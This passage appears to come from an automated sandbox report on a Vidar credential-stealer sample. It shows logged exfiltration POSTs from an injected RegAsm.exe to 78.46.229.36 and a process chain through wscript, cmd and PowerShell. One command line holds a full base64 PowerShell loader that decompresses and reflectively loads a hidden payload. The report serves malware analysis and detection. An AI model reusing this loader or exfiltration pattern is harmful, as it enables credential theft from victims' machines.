19	192.168.2.11	49732	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:22 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:22 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------GDHCGDGIEBKJKFHJJKFCCont
2024-03-28 07:36:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:23 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49733	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:24 UTC	312	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 98317 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:24 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------JKJKJJDBKEGIECAAECFHCont
2024-03-28 07:36:24 UTC	16355	OUT	Data Raw: 64 61 51 30 5a 77 50 65 6c 4a 47 61 41 45 50 54 70 53 59 70 65 6f 39 61 4d 63 30 44 45 37 47 6b 78 6a 74 53 34 6f 77 54 33 35 6f 47 4a 6e 4a 6f 70 53 63 6d 6b 6f 41 4f 39 4a 37 48 38 71 58 50 59 66 6c 53 66 79 39 36 41 44 70 51 4f 4f 39 4c 6a 4e 4a 69 67 59 55 6d 63 39 71 58 76 2f 41 44 6f 46 41 41 66 53 6b 2f 4b 6a 36 30 64 4b 42 69 59 2f 4c 32 6f 50 48 30 70 53 50 2f 31 30 68 47 44 32 6f 41 54 32 2f 6c 53 30 64 71 43 44 69 6b 46 7a 76 61 4b 4b 4b 67 2b 57 49 70 35 70 72 53 78 76 4c 32 48 55 62 66 54 70 30 43 32 39 72 50 63 4c 4b 79 2b 61 35 79 32 50 4c 52 6a 77 69 73 4f 6e 38 51 71 47 35 57 56 58 31 67 61 64 70 70 31 6f 4f 31 76 50 62 51 78 4e 49 69 69 33 6d 33 46 35 41 42 74 62 43 4d 4e 6d 54 67 4c 31 59 56 4a 50 70 30 55 73 59 76 35 6f 4e 30 53 79 69 Data Ascii: daQ0ZwPelJGaAEPTpSYpeo9aMc0DE7GkxjtS4owT35oGJnJopScmkoAO9J7H8qXPYflSfy96ADpQOO9LjNJigYUmc9qXv/ADoFAAfSk/Kj60dKBiY/L2oPH0pSP/10hGD2oAT2/lS0dqCDikFzvaKKKg+WIp5prSxvL2HUbfTp0C29rPcLKy+a5y2PLRjwisOn8QqG5WVX1gadpp1oO1vPbQxNIii3m3F5ABtbCMNmTgL1YVJPp0UsYv5oN0Syi
2024-03-28 07:36:24 UTC	16355	OUT	Data Raw: 54 78 72 72 4f 6f 32 2b 70 36 5a 70 47 6e 33 61 57 50 32 73 6b 76 63 76 6a 67 5a 77 42 6e 74 2f 77 44 71 71 62 57 64 4c 75 37 7a 77 33 6f 39 2f 70 77 33 61 68 70 79 52 54 78 4a 2f 66 47 30 62 6c 2f 48 41 2f 4c 46 4c 39 70 38 4e 2b 4f 74 50 6a 53 37 4b 4c 50 48 79 59 58 66 5a 4c 43 33 63 65 34 2f 53 76 6c 61 4d 6f 71 4d 4a 74 58 55 62 70 39 62 4e 33 73 37 66 64 39 78 2b 67 31 6f 79 63 70 77 54 73 35 57 61 36 58 53 74 64 58 2b 2f 77 43 38 79 74 42 61 66 78 48 4a 71 6e 68 7a 58 62 72 37 66 44 61 53 49 36 33 45 4c 37 64 2b 44 30 4a 48 55 66 38 41 31 2f 62 45 75 6b 51 70 70 2f 38 41 77 6d 65 6c 77 44 62 61 32 36 2b 5a 45 6e 39 33 66 47 78 49 2f 51 66 6c 57 68 39 6f 38 4e 2b 42 74 50 6b 6a 74 43 6a 54 79 48 49 68 52 39 38 73 7a 64 68 37 44 39 4b 69 30 72 53 37 Data Ascii: TxrrOo2+p6ZpGn3aWP2skvcvjgZwBnt/wDqqbWdLu7zw3o9/pw3ahpyRTxJ/fG0bl/HA/LFL9p8N+OtPjS7KLPHyYXfZLC3ce4/SvlaMoqMJtXUbp9bN3s7fd9x+g1oycpwTs5Wa6XStdX+/wC8ytBafxHJqnhzXbr7fDaSI63EL7d+D0JHUf8A1/bEukQpp/8AwmelwDba26+ZEn93fGxI/QflWh9o8N+BtPkjtCjTyHIhR98szdh7D9Ki0rS7
2024-03-28 07:36:24 UTC	16355	OUT	Data Raw: 72 58 77 54 70 30 64 75 46 75 44 4c 4c 4b 52 38 7a 42 74 6f 7a 37 43 69 32 4a 76 62 6d 66 33 73 36 50 37 4a 72 63 33 4c 5a 48 6e 70 53 4e 68 67 78 70 2b 41 78 56 4f 61 4c 79 32 34 2b 36 65 6c 64 4c 34 6a 30 49 36 4a 63 49 59 33 4c 32 38 75 64 68 50 55 48 30 4e 63 37 63 48 4b 44 36 31 36 4f 55 34 32 76 54 78 55 61 4d 35 4e 70 36 57 5a 35 4f 4f 77 33 73 30 31 4a 57 61 4b 39 4a 53 30 56 39 71 65 51 4a 51 33 43 6b 2b 67 7a 53 39 71 71 58 46 2f 61 77 73 38 55 6b 75 48 41 36 62 53 61 6d 6f 32 6f 4f 32 35 72 51 70 75 64 52 4b 31 39 66 77 50 51 2f 38 41 68 58 44 2f 41 50 51 58 58 2f 77 46 2f 77 44 73 36 50 38 41 68 58 44 2f 41 50 51 58 58 2f 77 46 2f 77 44 73 36 30 76 2b 46 6b 65 45 2f 77 44 6f 4c 66 38 41 6b 76 4c 2f 41 50 45 30 71 2f 45 62 77 6d 7a 42 52 71 77 Data Ascii: rXwTp0duFuDLLKR8zBtoz7Ci2Jvbmf3s6P7Jrc3LZHnpSNhgxp+AxVOaLy24+6eldL4j0I6JcIY3L28udhPUH0Nc7cHKD616OU42vTxUaM5Np6WZ5OOw3s01JWaK9JS0V9qeQJQ3Ck+gzS9qqXF/aws8UkuHA6bSamo2oO25rQpudRK19fwPQ/8AhXD/APQXX/wF/wDs6P8AhXD/APQXX/wF/wDs60v+FkeE/wDoLf8AkvL/APE0q/EbwmzBRqw
2024-03-28 07:36:24 UTC	16355	OUT	Data Raw: 36 66 72 58 52 63 36 30 74 42 43 65 4b 51 2f 6a 52 30 37 30 55 69 6b 4e 6f 50 42 37 55 45 34 4e 46 42 51 48 33 4f 4b 62 30 70 31 4e 37 38 55 68 68 33 35 6f 4a 34 2f 77 6f 42 70 44 7a 37 30 67 45 2f 4b 6b 7a 39 54 37 30 74 4a 69 67 6f 50 72 53 45 66 53 6c 36 2f 6e 53 48 33 6f 41 51 63 2b 33 76 52 51 42 7a 51 4f 54 51 4d 54 6f 4b 4b 43 63 2f 53 67 30 44 50 52 61 4b 4b 4b 7a 50 6b 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 55 55 55 55 55 67 43 69 69 69 67 41 6f 6f 6f 70 67 46 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 53 39 71 53 67 41 6f 6f 6f 6f 41 53 69 6c 6f 6f 47 4a 52 52 52 78 51 41 55 55 74 46 4d 42 4b 4b 57 69 67 42 4b 4b 57 69 67 42 4b 4b 4d 55 55 41 46 47 4b 4f 61 4b 41 44 46 46 46 46 41 42 52 69 6a 46 46 41 43 55 55 Data Ascii: 6frXRc60tBCeKQ/jR070UikNoPB7UE4NFBQH3OKb0p1N78Uhh35oJ4/woBpDz70gE/Kkz9T70tJigoPrSEfSl6/nSH3oAQc+3vRQBzQOTQMToKKCc/Sg0DPRaKKKzPkAooooAKKKKACiiigAooooAUUUUUgCiiigAooopgFFFFABRRRQAlFFFABRS9qSgAooooASilooGJRRRxQAUUtFMBKKWigBKKWigBKKMUUAFGKOaKADFFFFABRijFFACUU
2024-03-28 07:36:24 UTC	16355	OUT	Data Raw: 7a 52 6a 4e 4d 6f 53 67 6a 4e 46 42 6f 41 53 67 39 4b 4f 67 70 4d 2b 39 42 51 6c 47 61 4b 4d 66 57 67 41 2b 74 4a 31 37 30 76 57 6b 79 42 53 47 49 61 44 36 55 48 69 6b 70 6a 44 6a 48 2b 46 42 36 43 6a 70 51 63 55 44 45 36 30 6d 4f 32 4d 30 37 76 36 55 6c 41 43 48 6d 6a 72 52 6e 6b 69 69 67 59 67 36 30 55 76 66 33 70 50 70 31 6f 41 51 30 55 55 48 72 51 4d 39 45 6f 6f 6f 72 4d 2b 52 4f 6c 38 45 66 38 68 71 62 2f 41 4b 39 32 2f 77 44 51 6c 72 73 72 71 32 52 56 61 56 50 6c 49 36 6a 73 61 34 33 77 52 2f 79 47 70 76 38 41 72 33 62 2f 41 4e 43 57 75 32 75 7a 2f 6f 73 6e 34 66 7a 46 66 6e 33 45 71 54 78 6a 76 32 52 2b 6a 63 4d 66 37 69 76 56 6c 52 44 56 48 78 49 66 2b 4b 64 75 76 2b 41 66 2b 68 69 72 63 5a 71 6c 34 6a 2f 35 46 36 36 2f 34 42 2f 36 47 4b 38 54 4c Data Ascii: zRjNMoSgjNFBoASg9KOgpM+9BQlGaKMfWgA+tJ170vWkyBSGIaD6UHikpjDjH+FB6CjpQcUDE60mO2M07v6UlACHmjrRnkiigYg60Uvf3pPp1oAQ0UUHrQM9EooorM+ROl8Ef8hqb/AK92/wDQlrsrq2RVaVPlI6jsa43wR/yGpv8Ar3b/ANCWu2uz/osn4fzFfn3EqTxjv2R+jcMf7ivVlRDVHxIf+Kduv+Af+hircZql4j/5F66/4B/6GK8TL
2024-03-28 07:36:24 UTC	187	OUT	Data Raw: 6a 41 35 42 42 48 49 49 50 65 75 6c 73 66 48 6d 71 35 65 44 58 35 5a 2f 45 47 6e 53 41 62 37 50 55 4c 6c 33 41 59 66 64 5a 47 4a 4a 52 67 65 34 36 67 6b 48 72 58 4c 55 55 57 41 36 44 55 50 47 2f 69 58 55 66 50 6a 6b 31 71 39 69 74 5a 6c 4d 5a 73 37 65 64 34 37 64 59 79 4d 65 57 73 59 4f 30 4c 6a 6a 47 4f 6c 63 2f 52 52 54 41 4b 75 53 66 38 41 49 46 74 66 2b 76 69 62 2f 77 42 42 6a 71 6e 56 79 54 2f 6b 43 32 76 2f 41 46 38 54 66 2b 67 78 30 41 66 2f 32 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: jA5BBHIIPeulsfHmq5eDX5Z/EGnSAb7PULl3AYfdZGJJRge46gkHrXLUUWA6DUPG/iXUfPjk1q9itZlMZs7ed47dYyMeWsYO0LjjGOlc/RRTAKuSf8AIFtf+vib/wBBjqnVyT/kC2v/AF8Tf+gx0Af/2Q==------JKJKJJDBKEGIECAAECFH--
2024-03-28 07:36:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:26 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49734	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:26 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------EGDGCGCFHIEHIDGDBAAECont
2024-03-28 07:36:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49735	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:27 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:27 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------ECAFHIIJJECGDHIEGDAKCont
2024-03-28 07:36:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:35:44
Start date:	28/03/2024
Path:	C:\Users\user\Desktop\yU3icg18lq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\yU3icg18lq.exe"
Imagebase:	0x400000
File size:	278'290 bytes
MD5 hash:	8B8DB4EAA6F5368EB5F64359C6197B43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:35:46
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"wscript.exe" "C:\Users\user\start.vbs"
Imagebase:	0x380000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:35:46
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "
Imagebase:	0xc30000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:35:46
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:35:46
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:35:47
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:35:52
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:35:52
Start date:	28/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 